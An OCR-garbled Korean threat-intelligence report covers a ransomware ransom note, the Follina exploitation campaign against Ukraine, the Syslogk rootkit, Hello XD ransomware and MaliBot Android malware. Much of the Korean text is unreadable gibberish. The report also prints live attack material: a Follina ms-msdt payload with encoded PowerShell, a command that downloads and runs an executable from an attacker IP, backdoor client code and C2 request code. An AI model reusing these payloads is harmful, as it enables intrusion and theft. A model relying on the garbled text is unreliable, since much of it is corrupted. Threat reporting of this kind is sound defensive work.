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ALL YOUR DOCUMENTS PHOTOS DATABASES AND OTHER IMPORTANT FILES HAVE BEEN ENCRYPTED!
Your files are NOT damaged! Your files are modified only. This modification is reversible.
The only 1 way to decrypt your files is to receive the private key and decryption program.
Any attempts to restore your files with the third party software will be fatal for your files!
To receive the private key and decryption program follow the instructions below:
1. Download 'Tor Browser' from https://www.torproject.org/ and install it.
2. In the "Tor Browser' open your personal page here:
http://c6385c903ocliuch.6rnnzeng3l36vzefxfqoershvmzlvsxa56bgbvdsSdohdnoser77xbid.onion/ocliuch
Note! This page is available via Tor Browser' only.
Also you can use temporary addresses on your personal page without using Tor Browser":
http://c6385c903ocliuch.dopack.tech/ocliuch
http://c6385c303 ocliuch.boxturn.quest/ocliuch
http://c6385c903ocliuch.notmuch.quest/ocliuch
http://c6385c903ocliuch.funany.art/ocliuch
Note! There are temporary addresses! They will be available for a limited amount of time!
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RedLine’ 9YTSE AIBX} PC B BH4I/54 U 7h HOIZE A% 7|52 740 F&el ‘InfoStealerOlCt,
Cior, SRMOE U ANRIOINE STH FJHE HQIBHE TS, 27t HO|ZCE CIREC 7150 Yl F2

F23 Rsict,

atel ZIRiHolAf Of2fet oHTE0 20| Bl P, SrlHA B He s X2 S0l wet YR 4

S0l T2 A, Khht 241 SO| S0l B 4 U0jA o7t Tesic

iEkA O] AERE0M ZES s | floiMs EX7F 22F et AOIE LA URL, Tt CIRZES X| {0

S| YokoM= A A MAEE ‘Spyware.Infostealer.RedLine’2 FIEHstD QUCE
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[Spyware.Android.Agent]
qEIE =4 HIN

Io

20173 HS WeiEl Bahamut o A2 SIIIX| RESH| 7152 iEi0[Estd 222 ojofen Ytk £
AL Ob US IA PAO|ES Soff QEE(T Ct,

=

Chat privately now using

Secure Chat Now
Now with inbuilt VPN

DOWNLOAD NOW

(O3] ojd EMOIE

|of 2Zap Z0] 2ot T WS MSdhk= AOIERZ IESI0 LBHALE 7(2kst RUCt. O] Ho[X[e]
Ojoikks ofd US Ch22 =0 dX[oH| It

Spyware.Android.Agent i+ 2 Hot x{E o= &St oM m|4 AO|EE Sdlf HiEE|1 QUCE
o|2/0f|= SAXES FA HO[X[LE A8 HESRIZ AO|EE AFESEY | S 2L H{ZESH= ofd e SYtt
A HRIE SHSITE HMZE|0] UL

Bahamut®t 22 Spyware= L[sHXIS| APl HME EFE SHOE A0 JA7|0f ISHAIESS Banker2t 22
oM M= HCt E [&SH| M2Sk= Zero| ALt J2Lt EFE 1l HEIF OfEA| 28E|=Lof| M2t XS

2t
SIS o YIS OO SIEE A& Uk

o4 2%} e g 7feiA| Eic. of4 24t
220/ n|onr°| Sae A HOIESE BEHI0! oIt 37 HH9 22 0fS ISRl HHE Olof A
(@]

AS2 AFBRPH Y 2X[of| Z=2¢t FE 7ISQUCHA oflEe = A7|of| ArgXIe| ol 20| FALCt

Sl LMo = BliE @ TSN QALY

— AN
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fujo
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E
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=
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2{A|9t Si7{E, Follina YAZZQIOZ 232I0|L} L&y

Russian hackers start targeting Ukraine with Follina exploits

f32to[Lt CERTZ} 24A[0} sl &2l SandwormoO| $ix CVE-2022-3019022 =&l Oi0|3=2ATE

=
=
SIS X|2! FIEF ERMSDT)S| €2 A 418 FOFHR! Folina o8 F 4 ICHD ZIALICY,

ST 2ot F|ofH2 S5 MiEtEl 2ME QESHAL HEgh 32 ER[AHE £ AW, SHXIS2 Kt 202214

= =

AERE SH0| 0|2 8ol ZELICh

L32}o|Lt CERTE O] 39| Hi=0f| Sandworm 874 JE0| QU Z0[2t =N T SHAISICID BIdEL|CY.

0jcjo] =Z] e
CERT-UAO| =3 2{A|0} oiFHS2 FollinaE 2f&%t MZ2 ofd O|H|Y AmRIS S3ll 2it| &=1} MES
HIXet 3z2fo|Lfel CiFe DIC|of Z=E9] 441Xt 500F O¢E RIS,

ojHEe HM=2 "chetd X 23 F5"0|HH, St 0|52 .DOCX LiU0| HEE0 ST,

mls ¥ JavaScript ZE7 AHE|0 CERT-UAZL "2 Crescentimp"2 25t HO|Z2EQ] "2.ixt"S
7t ZLCh

From Aaminictparop[__———Jqovuarty “ Reply | % Reply All v | - Forward | More v
Subject CIMCOK nocunans Ha iNTepaKTHBHi KapTH 07.06.22,10:21
5 BUIOMOCTI
To FM-pagiocranwyisl_____—————————————}{y, 11020 possiuenis isdopsattil Hpo GO JAXICHIX CHOPYIL IIBLILHOTO saxieTy Ha ofittiise

FM o, Bed-pecypeax o0tacex 12 KNIBCAKO! MichKO! epAQBIIE aTMiNiCTpAIIil, TEpITOpiaTLIIT
FM-pagiocTanuis 1eY, oprauis
FM-pagi 139 ~
Tasera[ ], Faseral Ity *
rasera[ 1%, raseral 12+3 B
faseral } 17, faseral 1 t

1llaHoBHi Kosern!

B ymoBax BilicbkoBoi arpecii 3 60Ky pociiicskoi ¢pesepauii anapa'F]in)o My€ Bac
npo (oHJ| 3aXHCHHUX CTIOPY/ LMBLIBHONO 3aXMCTY Ha OpILiMHUX caiTax obnacHuxX Ta KuiBcbKoi
MICBKOI ep)KaBHMX aJMiHICTpaLlii, TepuTOpiaNbHUX OpraHif______|Y 38’s3Ky 3i 30i1blIeHHsIM
KiIbKOCTI oﬁm'yinis LIMBLIBHOT inépac‘rpyKTypu NPOCHMO JJOHECTH L0 Ba)yMBY iHdopmatiiio
/10 HaceneHHst Ykpainu! TTepemora Oyze 3a namu! Bee Gyge Ykpaina! Cnasa Ykpaini!

N el LT —————e e

[ em—" o

7| epine |, 2 (7 389TIRSTAB0INICSS.
3 nosazoro, iHit ] 5 | riacies | MO AT e she
Best reqards, Administrator| ‘ o
I P
<Relationship Id="r1d29" £
e e e . flo%a Type="http://schemas.openxmlformats.org/officeDocument/ 2006/ relationships/ |
s % £ Target="{mhtml:http://185.80.92.143:8998/update.htmiix-
:http:, 85.80.92.143:8998/update.! argetMode="External" /> srapcm apuern. hrseny ofien
~ ) 1attachment: CNIMCOK_nocunans_a_intepaktneni_xaptn.docx 21,7 KB Bsave v '“f\.,,n_‘,_kv Txot sk 1
) CNMCOK_nocunanb_Ha_inTepakTveni_kaptudocx 21,7 KB = e .

Etiam elit risus, ullamcorper cursus nisl at, ultrices aliquet turpis.

Maecenas vitae odio non dolor venenatis varius eu ac sem. Phasellus id

tortor tellus. Ut vehicula, justo ac porta facilisis, mi sapien

efficitur ipsum, sit fusce.

</p>

<script>
location.href = "ms-msdt:/id PCWDiagnostic /skip force /param \"IT RebrowseForFile=? IT LaunchMethod=ContextMenu
IT BrowseForFile=$(Invoke-Expression($(Invoke-Expression('[System.Text.Encoding]'+[char]58+[char]58+'Unicode.GetString(
[System.Convert]'+[char]58+[char]58+'FromBase64String('+[char]34+'SQBuAHYAbwBrAGUALQBXAGUAYgBSAGUACQB1AGUACWBOACAALQBVA
HIAaQAgAGgAdABOAHAAOgAVACS8AMQA4ADUALGA4ADAALGASADIALgAXADQAMWAGADGAOQASADGALWAYAC4AdABAAHQAIAAtAEBAdQBOAEYAaQBSAGUAIABD
ADoAXABVAHMAZQBYAHMAXABQAHUAYgBSAGKAYwBCAGMAaABrAGQAcwBrAC4AZQB4AGUAOWBIAG4AdgBVAGSAZQAtAEUAeABWAHIAZQBzAHMAaQBVAG4ATAA
tAEMAbwBtAGOAYQBUAGQAIABDADOAXABVAHMAZQBYAHMAXABQAHUAYgBSAGKAYwBCAGMAGABrAGQACwBrAC4AZQB4AGUA +[char]34+'))"))))i/../..

Aed oSS ] . /Windows/System32/mpsigstub. exe\"";
</script></body></html> [Tnvoke-WebRequest -Uri [http://185.80.92,143:8998/2.txt] -OutFile C:\Users\Public\chkdsk.exe;
Invoke-Expression -Command C:\Users\Public\chkdsk.exe

[22]] Crescentimp HREES =EEst= 2 A2l

[OIO]X] &H] https://cert.gov.ua/article/160530

CERT-UA= Crescentimp 22 BX[E & A= H2 loC MEE SIHHELICE
SIX|ZH CrescentimpZt OfTH R%2| YA E miz|of| £oh=Xl, 7|s0| FAURIX|= OFRX| E2HEL|C.

ESTSt:run'ty Copyright®2022 ESTsecurity Corp_all rights reserved 19



CERT-UAOIIA 37t slfAl= 21Xl Virus Total M SSHZ0IAM EIX|=|X| @f&LICH

Sandworm?2| 32j0|L} 2A AR
Sandworm2 K| H A SOt X[EHOZE R3AZO|LIE LR CH, 2{A|02] 32I0|L}t RF 0| 34 HILT}
CE Z7RUSLICEH

0|'

Sandworm2 X[t 40| Industroyer AETES| MER HES Solf HHEAS Sl Ci S32H0|L} OflLf K]
Sa8Mel IS L7 A=ttt A2 BHRELIC

Hot HA7HS2 22 SandwormO| HR0E Z=&ot= S+ AEZEL! Cyclops Blink REIE 21 2F0k=

OEYs LAMSLIC

0=2 48 2 oY =2 312 282| FE-CZ == il 63E M= Ol =8 F= AR—OIA 11Tt Z2ie
Z

[EX]
https://www.bleepingcomputer.com/news/security/russian-hackers-start-targeting-ukraine-with-follina-exploits/
https://cert.gov.ua/article/160530 (IOC)
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MZE Syslogk 2l55A RE3], IiE I3I0= Wzo| Ea|7sl

New Syslogk Linux rootkit uses magic packets to trigger backdoor

MEL 2l=A 2E

77HT—| Ol-ki ]IEA-”

Im>&
i

ofdHA LRl 'Syslogk 7t S+ HIEfEl "0HA THA"S Sdl 7|7[0M FH LEfR! HHE0
£ SH0| AEElE ACZ LELSLIC.

O] AMFCE= il &lhs| JHeE|= SQULICE ME A= Q2 QEAA FEZIQI Adore-NgE 7[HIOZ

Je o2 FXEILCE

Syslogk= ZES 2l5A HY(HA 3.x X[2)0l| ZMZE 25810, CIMER|QL HEYA ErfTlg &2 4 QloM,

Z=0{l= 'Rekoobe'2t= YOS ZE5H= Z10| 7HsTLCE.

OHZ! Di2lE AF2slo] Yo 2C5p7|

2lsA ZEZIS 24 N HE ZEZ HX|=
-

2 =
BA[SID HX| ¢b2 mt, B0, Z2=HA Si 22 2

Lot Syslogk= HE 222 Mg 222 I 5 HARE I6| 26 dXlEl 2= S=0M 8" 2=2
HALC Rt EX2 Jproc T A|ARC| L= El QIE{H|O[ARIL|CE

File Edit View Search Terminal Help

[root@centos6 Desktopl]# lsmod | grep syslogk
[root@centos6é Desktopl]# echo 1>/proc/syslogk
[root@centos6 Desktopl]# lsmod | grep syslogk
syslogk 120282 ©
[root@centos6 Desktopl# |

[22] ==&l Syslogk 2IE{H[0|A
[0|0JX] =H] https://decoded.avast.io/davidalvarez/linux-threat-hunting-syslogk-a-kemel-rootkit-found-under-development-in-the-wild/

gt RENO| 57} 752 5o AN SEEl= ob Ijlo] EHE CIER], ZRAX, UESIS 2T
271 DE TCP 2 ZARED HO|ZES §120= ASSPILE BAE 4 YBLCh

Avast7} HSE S AT I0|2E F SiLt= 2|54 0121 Rekoobe RIL|CE. Of HiE=0f= FEZI0| AKX}
Hieh "Dh TiZIS =M Wi7kx] sHZEl AIAR0M T AEILICE

Syslogke= ™ 201 7|17|18 THRE | AFEE|= ‘Wake on LAN' OHE] THZ11 QARSH| £E4- "Reserved" =
%%, "Source Port" < X|H, "Destination Port", "Source Address" OHX|, StEREEl 7|18 X Est= E4 FAE
TCP mjZlS AL},

M&ot 04E| TH3l0| BX|E AL Syslogks= A SZXIQ| XA M2} =S A[RISHALE SIS0 EX|
IhsMEe aXoZ A|ABIEiL|CE
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4 228 Het §

s
i

Rekoobe= 2| At8%|= E CHE QEiﬁ ATERY0{Q! TinySHell2 7|22 BiLICE. X2 SZX0f|
SHZE AR Chigt ¥ AS MSsh=s ALIch

= backdoor_client.py (~/Desktop) - gedit
| Fle Edt View Search Tools Documents Help

File EGit View Search Terminal Help
Eopen v Disave | 5y Undo P AK g;; tosecentoss D;:llap]s python backdoor client.py
xanple

| ' backdoor_client.py X
256-exanple. con
250-STARTTLS
250 suTPUTF8

220 Ready to start TLS

= ocket .AF_INET, socket.SOCK_STREAM) Sneu,wﬂ

| client. etsw(knpl(so(k etSoL SOCKET, socket.SO_REUSEADDR, 1)

/mm/ entos/De:

[ oo(@cenmso oesuop]:
entos6 Desktopl#

it _name =
client. connec umcsv “porT))
pr m(clu nt recv(269))
client.send » Shell>whoami
pr int((\xe ( ecv( 00)) whoani.
time.sleep(l
client. sen ﬂ{ s
e n nt(client
client = ssl.wi
ssl client. send(b
1_client.send(b"s"
SSUclient send(b-0002"
sslc nd(b*\r

root
) [root@centos6 Desktop]#

[root@centos6 Desktop]#

shel 1o

20 n)
socket (client, certfile= ert.pen”)

# facelving stdin , stdout, stder
whil

Prl l(ssl (\xe nt.recv())
except ss1.SSLError:
pass

Pythonv TabWidth: 8v Ln6, Col 13 NS

[2)] SAENN 2E 4 Mo

[OIO]X| £H] https://decoded.avast.io/davidalvarez/linux-threat-hunting-syslogk-a-kernel-rootkit-found-under-development-in-the-wild/

%, B2 MK Rekoobe?t ARBEI7| 20| Hi! B7H, HIOlE| R, T Xig), A 23
230l 270 T LI

on
10

%ol

o

Syslogk 2EZI2 #|2 %A Symbiote X! BPFDooret 20| BPF A|AEIS 3 HEST Eafmis
DLIEZSID SHoZ XTASH= 2|n|Ael 2[SA AARE AT EO| &£ CHE AR|RILICH

it AFZALE 2lsA AIARS E2] AFE5I JUX= §X|T Ol= TH] U= 7| HIERZE X6 | W0
SAXk= O [HIME flot HAR AHAEE IWUSH= O] B2 AN 3E FX6k Q&L CH
Syslogk ZEHME= OF&7IEX| £7| 7HE

=
SHX|2t O] b R0 2S NS ml HF M L JHUE HTES AlSHA JHEE Aoz FHEL|C

Syslogh} 3141 2lsA g HES Kgohs HES SAIZ S EF2L P} 3t #oll hS Ho{XI7| Th2o
Na1e W Ao HeL
[EH]

https://www.bleepingcomputer.com/news/security/new-syslogk-linux-rootkit-uses-magic-packets-to-trigger-backdoor/
https://decoded.avast.io/davidalvarez/linux-threat-hunting-syslogk-a-kernel-rootkit-found-under-development-in-the-wild/ (I0C)
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https://www.bleepingcomputer.com/news/security/new-syslogk-linux-rootkit-uses-magic-packets-to-trigger-backdoor/
https://decoded.avast.io/davidalvarez/linux-threat-hunting-syslogk-a-kernel-rootkit-found-under-development-in-the-wild/%20(IOC)

Hello XD 4|0, Yt & 80| EEol

Hello XD ransomware now drops a backdoor while encrypting

Afolt IOt HTRIS0| Tf 2t st 2TR0|SE MES HIESH= Hello XD 2Riole] ESO|
SokACkD LI,

21 A -

20214 1ME Mg YdE o] HHo IHEE|= REEl Babuke| AATEE J[HIOZ SHH SHXIL 7|7|&
o5t | Tof| 7|el Ho[EE SELCE

Palo Alto Networks Unit 420i|A &HESH M2 H1AM0|| [2H okMAC HZKH= EfX| $jn| 3! 253}

ofA]
YN2|E HES PIP EY WZo| EFR MZR Y2or|E TEASLICL

O= Babuke| ZELk= 3| CIEH, MEXZE SHE S7HA717] 2l 1Ret 7SS ZE ME2 #Hdeo]

Al
HES LSl = AS & + USLICL

ol

Hello XD 2i4d¢lj0] =k
Hello XD 2HA49)|0{= Tor ZX| AIO|E CHAl TOX KE! MH|AZ E3) M[SHXI0IA| =T SA!

o
et

ANE 27k

2= HEKofe] 2|4l HHO0| EFot HEE0]| onion AO|E Z3AE FIRMAX|TH Unit 42= i AIOIETL
9HE}°|0|7 | =01l OF&ITEX| HMZF S 4= ALt HRISLICE

ATTENTION!

[2Z] Hello XD ML E (21F: O|H Q2 £|4)
[OlOJX| &X] https://unit42.paIoaItonetworks.com/heIond—ransomware/

Hello XD7t &E|H AAR S5 EX[SH7| 26l M SARES HIgdslet T TS Yot £ 0jed 0|

—

Ofl .hello 2FEXHE F=IfelL|Ct,

Unit 42= 27} #4901 HIO|2E 0[2|0l|= MicroBackdoorghz 2E AA S ARSI SHZIEN A|AH
N

S EpAolD, TS FE0HD, BHS AIT, XS ARl %S B
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-

4 2EH Hot

s

0| MicroBackdoor &l A2 WinCrypt APIE AE5I0] i=etx| 11 2420 HO|2E0]| ZoE|E2 2E FA
A AEI| ESEILCE

int dropEmbeddedpayload() BOOL decryptembedde
HANDLE hFile ] BYTE pbData[17]; // [« 29h] BYREF
DWORD uunﬁerofsytesuru:en 71 (espe20n] [eby Ch) BYREF DWORD dwDatalen; // (¢ )
HCRYPTPROV hProv; // [« BYRE
if ( decryptEmbeddedpayload() ) HCRYPTHASH phHash; // BYREF
HCRYPTKEY phKey; // L BYRE

s. l\ p(Ox3EBu) ;

BOOL v6; // [e%f

l en = 05
File = Creater shi(userLogon, 0x46000000u, 3u, ©, 2u, Bx80u, ©);// C:\Windows\System32\userlogin.exe

1F ( hFile 1= (HANDLE)-1 )
WriteFile(hiile, 8Buffer, nNumberOfBytesTokrite, &hunberOffytesritten, 0); ar + ta, "fcahincefxuuyigc");
CloseHandle(hFile); V6 = CryptAcquireContaxti(8hProv, O, O, Bx18u, OxFO000000);
if (
return 1; {
v6 = CryptCreateHash(hProv, 8x800Cu, O, @, Bphtash);
1F (v6 )
{
v6 = CryptHashData(phiiash, pbData, dwbatalen, @);
1f (V6 )
{
v6 = CryptberiveKey(hProv, 8x6801u, phHash, ©, &phKey);
if (6 )
V6 = Cryptbecrypt(phkey, @, 8, 0, &Buffer, &nNumberOfBytesToWrite);
}
}
}
CryptReleaseContext(hProv, 0);

CryptDestroyKey(;
CryptDestroyHash
return vo;

+
[2&] Microbackdoor £33t 8! =&

[0]0]X| Z&M] https://unit42.paloaltonetworks.com/helloxd-ransomware/

d=37| o =}

Of HHd0] HO|ZE=2] = Hm HFO| AFZEl St=

0%t

1 7= & 7HX| =2t AlES AREEiLICt

HZEKH= A fH2 AHAE ZHYXPTL AMESH QEAA TR UPXE £H5I0| Y=23l7|E THEUELICE

| 124 & OxF 2 L%
do
122443 {
‘ 1F ( 1ved )
N+ )i break
V17 = 59+ ==
- BYTEL(*1); 4

» 16);

1 **)(int, char *))((char *)Bdword_C42030 + (_DKORD)vS0))(v62, v72);
LOBYTE(v12 & - avm(
BYTE1(v126) =

V128 = *(void (_cdecl **)(int, int, int, int *))(v166 + 438280);
129 = V106 - 4096;
1

(*(int (**)(void))((char *)&dword_C4202C + (_DWORD)V58))();

(_cdecl **)(char *, int, int, int *))((char *)&dword_C42034 + (_DWORD)VS0);
4096;

6, 4096, 4, v163)

, &v159 ve 4096, 4096, 4, 870);
- aws + Aaezu, a[ns] &= ~0X80U;
5[455] &= ~0x80u;
)(m, int, _DWORD))(v1SS - 1))(v166 - 4096, 1, @); v67(vse - 4096, 4096, v69[@], ve9);

o= 0;
1le ( &v160 1= &vi31 ); <3803

1
| (6x401120) ;
| ¥

| } }
| } y . )777

[‘l E.I] UPX ]1|.|9|( )J_|. ;.|AE-| ]1H9I(9_|ZE)
[OI0]X] Z£H] https://unit42.paloaltonetworks.com/helloxd-ransomware/

Huf oM JHE 20|22 E2 °*"'§f 22|ES +3E HC-128 % Curve25519-Donnad|

Closenandle(v79);
1f ( dword_351488 < 10 || (((_BYTE)dword_351ABC * ((_BYTE)dword_351ABC - 1)) & 1) == 0 )
break
|LaBEL_64:
CloseHandle(v79);

goto LABEL_65;

(ryptnnnﬂandom(hvrﬂv 0x20u, phiuffer);
] & OxFsu;

(urve!SSlB,donna(

curve25519_donna(v4c

shas12((1nt)vae, 32

hc128_setup_1((HC128_CT

hc128_setup_2((HC128_CTX *)vi2,
)3

n(hProv, ex2eu,

t32_t *)vi5, @x100u, @x100u); g v
2t *)v36); *((CBYTE *)

curve25519_donna(v100,

curvezss19_donna(1

90 + 32) &= OxF8u;

smsu(n 5, 32u, (Int)ve3);

; V22 = rabhx((mhcr o
) . rahb“(xpher 1(v2

, 0164, @,
.Quadpart <= 0x1406000

iF ( Fllesize.QuadPart <= 0x500000 )
if ( Filesize.QuadPart > 0 )
IF ( Filesize.QuadPart <= 64 )
i

[12]] Babuk foeh(@i%) 5! HelloXD 20 21 SoHRER)
[OI0]X] Z&A] https://unit42.paloaltonetworks.com/helloxd-ransomware/

00000CHS oncryptrilos:125 (403689)
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4 22 2ot 5%

Loot &= | HEO| A 0f7f= LatEl EXIE0A | HIO|EZ HELY efost Zapt K ZHEHMSLICE

:"é
>
§
|H
HU
i
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=
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o
A
A
N
of
:LI
I'||'

Hello XD= oixif X 3Z0iM FE flelet X7

| EAIQ] 2
Q4K O X=Z0|H Ef2lstE T2 O 2l 2 + ‘Ri%l—llih

Unit 427} 2Z{XIE 2{AI0101S AF2SH= XAKMER EXRALICE O|SS Cobalt Strike H|Zin} ot olmajs
Lalolo| tiEsts SE2|YS Yzt Ho| YBLICH

HEIMXHK

BaeguTe hostname Bawero ceppepa: btc-tracer.xyz
BoeguTe ip Bawero cepsepa: 63.250.53.188
BaepuTe Naponk, KOTOPWA 6YAST Npwvewen ASCOTNTHO Beage, rae 3TO TpesyeTcs: HelleKitty

YKaXATE 26COMMTHUA MyTh K $aANy KOWPMIYPALIM Wireguard: /root/wg.conf

YCTaHoRUTS PatrowlHears AoKep-xowTedwep(yes/no)? no

BoeguTe rOOt-Napone Bamero ceppepa: eBZKAOXfUS

WEene kA

[02] X4KMES] A=
[0]0]X| ZM] https://unit42.paloaltonetworks.com/helloxd-ransomware/

CEst S5t 377} PoC UAZZQl Aot MH|A, HAE Kali Linux HHEL MAE SAE] G HIE MH[AS
Hi35t7| ol ZEiof| AlAlet &Ho| JASLICE.
34X 2 X|A0] 2311 Hello XDE &3] YTAZ = U= AC=E HolY| mfFof| =% HIUSH HL[EZ

[EX]

https://www.bleepingcomputer.com/news/security/hello-xd-ransomware-now-drops-a-backdoor-while-encrypting/

https://unit42. paloaltonetworks.com/helloxd-ransomware/ (IOC)
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New MaliBot Android banking malware spreads as a crypto miner

O|EIZ|0IR} AH|QIQ] AFZXIE L2l 7HAMSIHH A= ¢HO|Lt 2 ZE ¢l HEIRNZE &St 22 OtEZ0|E 7l
ot A EQ! MaliBotO] EAE|UELICE
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ZI=si, 22N 26| 015 FEE il S QUSL|C

F5 LabsS| BITM0l| T2, O[S2 1A Ci40] BHE XZS AFRSHD UM Ol FluBot 20| XA
SCHEl S UIRRIS #97| 9IEt AR AXELICE

THt FhAfSH| A2
Malibote] 22} 2 o] AftHi= ZAlOfol] IXISI, SHE P 20201 GRSE] KISl of2] oA Hi:
moln PRIEl0] YALIC

MaliBotS LsiXI7} +-E0= Cteacs) MXJsHs APK SEllol 7HSHH ofZ2j70|Me SEste YAlo|ES
Soff SHEILICE

SS TS ARSI AOIES 72 Z2f0] AEO0{0fA] Bt B 0o} CFRRZ=E TheCryptoAppat 22 AlX
mEH|Eo| ZAMQILICY,

ZH|QI0flA Mining XEH= Q02 ShAtz| D Qlom, H[SHXI} QR TES AZHSI0] A
APK JIrE% CHRRCSHEE £QULCt
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MaliBot2| 7|5
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o [ = S 3 o] 5L
28Xk= VNCE Sall ofH B ATE ASZIAF 8 ZHIX ZAFS 26{E7|, APO|X, A 27| &
ABHSF A A
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if(GallowProtection.Companion.getallowRequest()) { @
send ¢cad = new Send(null, “takenumber™, new ) (), 1, null);
RESpONse resp = (Response)new g(j.cas!(:( yemd), Response.claoss);
t resp_status = resp.getstatus()
if(resp_status != null &8 resp_ stotu lergtr” I=0) {
if(be.equals(resp.getsStatus(), “empty
GAllowProtection.Companion.seta llmcodc wait™);
}
else 1f(be.equals{resp.getstatus(), "success™)) {
GAllowProtection.Companion. .et-\llm\ﬂeque,t false s
Appkt.logscefault(vi_3, be.concat(“Google: Number recelved “, resp.getiusber()), null, “yellow”, 2, null);
allow_code « Stri .~.'alue-3¥(res;.get'.umer(j:;
GAllowProtection.Componion.setAllowCode(allow_code);
}
[D2]MFA ZEE BMSH= A=
[OIOIX| &X] https://www.f5.com/labs/articles/threat-inteligence/f5-labs-investigates-malibot>
by | g x C= = AL AL
EESH O] T EE= AR 12 2IB7(0l[M MFA ZEE & =k USLICL
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CHE Rl w2l E20| =019t DREVEX|Z, MaliBot EESH AX|E & S22 HMsI0] C20iIM 2uz{|0|/RIMMS
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public GetInjectiist() ( I
this.regruethod = “injectlist”; @
}

goverride // com.kkaxrigsc.ckiradcii.cryptor.network.Baserequest
public 0o ect execute(d arg?®) {
1f(!this.getReqParans() .contalnskey( “botid™) &8 ““.length({) > @) {
this.getReqParams() . put(“dotid™, *);
}

vzp params = this.getRegParass();

String encoded_params = Request,INSTANCE.urlEncode(params);

Strirg response = Request.INSTANCE.get("https://walonanlpi.xyz/opi/?method=" « this.getReguethod() + &' + encoded params);
a.a(bd.concat{"Received *, response), new Cbiect{e]);

try {
JSONCRIECT JSON_response = new JSonoblsct(response);
Object injects_list = new Json().cast{Json_response.getISONArray(“1ist”™). . tostring(), new ArrayList().getClass());
b2.assertion{injects_list, "(\n val jsonOb._()::class.java)\n 13
return (Arrayiist)injects_list;
)
catch(Exception unused_ex) {
return new Arraylist();
)

}

Figure 10. MaliBot's C2 request for injection links and a list of viable targets.

{
“1ist": [{ @
“package”: “com.latuabancaperandroid”,
"link": "https:\/\/covidl9-hhs.com\/view.php?package=com. latuabancaperandroidibotid«0936dc32474d2f02"
b {
“package”: "com.unicredit”,
“link": "https:\/\/covid19-hhs.com\/view.php?package=com.unicredit@botid~0@36dc32474d2f02"
b A
"package™: “com.bpi.ng.mobilebanking”,
"link": "https:\/\/covidl9-hhs.com\/view,php?package~com.bpi.ng.mobilebankinglbotid«0036dc32474d2F02"
L
“package”: “com.landbank.sobilebanking"”,
"link": “https:\/\/covid19-hhs.com\/view.php?package=com. landbank.mobilebankingibotid«@936dc32474d2f02"
13
}

Figure 11. C2 response containing injection/overlay links.
[2R] C20f| 2H{zil0] B5S T&E = FUE LI

[OI0IX] &H] https://www.f5.com/labs/articles/threat-intelligence/f5-labs-investigates-malibot
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